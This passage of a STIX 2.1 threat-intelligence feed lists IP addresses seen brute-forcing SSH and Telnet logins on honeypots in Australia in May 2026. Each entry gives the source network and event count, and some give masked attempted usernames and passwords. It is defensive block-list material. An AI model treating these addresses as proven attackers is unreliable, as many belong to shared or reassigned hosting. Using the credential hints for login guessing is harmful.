      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.156.164.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--682b0d5e-1b1f-400d-afd4-1a30c4bdac31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.181.67.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--722b2dbf-03a6-4a84-ad64-768709cc44e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.48.251.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264496. Organisation(s): Fibralink LTDA.",
      "id": "indicator--de5aafa5-2efd-4c91-81ab-0bd6e37946f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.55.67.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--a5d08e90-0fce-476f-8024-4929b0adf5a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 197984. Organisation(s): State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ. Usernames observed (masked): r**t, m***d, 3**********4, a***n, c****s. Passwords observed (masked): 1****1, ***, 1***********#, 2******C, 3***********4.",
      "id": "indicator--bc3378ed-e5cb-4791-8601-85bec4888970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.107.115.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--38a39ab7-ff4b-4458-bf51-6079bba3b605",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 187. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): r**t, 3**********4, a***n, ***, d****e. Passwords observed (masked): *, 1********#, 3***********4, 3**********4, A*****9.",
      "id": "indicator--19808967-8e42-4d00-ab45-6cedc0adc70e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.83.231.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--efbd5aaa-7336-415c-b86f-b5e219e6a6c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.54.64.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 122. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--213fed1f-a659-482b-a05a-5acb330c6f60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.58.225.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--639df339-b2d2-4fc2-9302-02104923c2d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e04afefa-0b40-4bd9-8689-cea54bd65481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.126.16.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--06ee1ab2-4bd0-4aa9-8663-9acde49a09b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--f4e0db71-b50c-4489-9e68-cec0ca02dc40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.205.64.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 59711. Organisation(s): HZ Hosting Ltd.",
      "id": "indicator--747cbfba-5c2d-4d47-b3f1-19d4948278ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.142.252.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:15:10.000Z",
      "valid_until": "2026-06-11T04:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--b2e530ed-166b-4fdb-b2fa-ad2a56ca1207",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.109.238.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 36926. Organisation(s): CKL1-ASN.",
      "id": "indicator--414b9f2d-fc41-4fb2-a132-9b1f76112bab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.159.252.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 27738. Organisation(s): Ecuadortelecom S.A..",
      "id": "indicator--6e81a387-e0d8-441d-8fc9-91fdd9c79c85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.183.55.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 7768. Organisation(s): Teknet Yazilim Ve Bilgisayar Teknolojileri.",
      "id": "indicator--d3af60f0-eb9f-4ca1-a61e-d61376429950",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.7.38.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--d77f7f37-202b-4ef1-8c5b-be4e4a4f059b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.36.180.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--264f1018-f5f0-4b36-a63a-01b9a1935c8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T05:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--5d110d3b-1fda-4769-9eb2-a607d2d4d746",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.52.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:15:24.000Z",
      "valid_until": "2026-06-11T05:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 210278. Organisation(s): Sky Italia srl.",
      "id": "indicator--8bb2de16-3b31-4393-bc9a-4d4cdf21f83b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.56.185.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c1a42e87-b619-4c49-be77-1a6bc152f98a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.243.111.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 11172. Organisation(s): Alestra, S. de R.L. de C.V..",
      "id": "indicator--fefc2c00-dbbf-451b-9ddf-b2b9a2b3d1be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.244.108.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): P********1.",
      "id": "indicator--5c3b7ac3-4c8c-415a-8d96-7498c56a63db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.189.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 200736. Organisation(s): Medianet Invest Ae.",
      "id": "indicator--b750a04a-1466-4c6b-9724-bdcdaf767789",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.57.12.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138655. Organisation(s): Trans World Enterprise Services Private Limited.",
      "id": "indicator--80e912a4-dcce-4a42-b7a7-9846ab33b0b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.57.222.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 238. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, l********e, 3**********4, a***********r. Passwords observed (masked): !*****e, !**********e, 1****1, ***, 1*****e.",
      "id": "indicator--207bd393-7696-431b-8695-5b636adf6c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.244.37.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397373. Organisation(s): H4Y Technologies LLC.",
      "id": "indicator--54709010-5270-45d1-881a-41a87ddc9a76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.61.223.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 3920. Organisation(s): PUSHPKT OU.",
      "id": "indicator--7f20c108-d9e9-4d10-a164-a4a238fd2cf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.237.106.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--d25b730a-0d57-4f40-a222-ac94db0ac58b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.168.32.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--d2400b1f-8073-4a06-bf9f-4162cfd9ef1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A..",
      "id": "indicator--81be0f12-e2db-46fd-bb7a-90aa73056b3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.169.235.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--b1bde58f-cb2a-4e2c-b153-267b2bf1adb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.30.255.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain.",
      "id": "indicator--9d2c9855-6a62-4302-93cf-abc33d9dc084",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.60.142.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:15:14.000Z",
      "valid_until": "2026-06-11T06:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--b703686f-6045-42a3-9768-05fd7e70f41f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
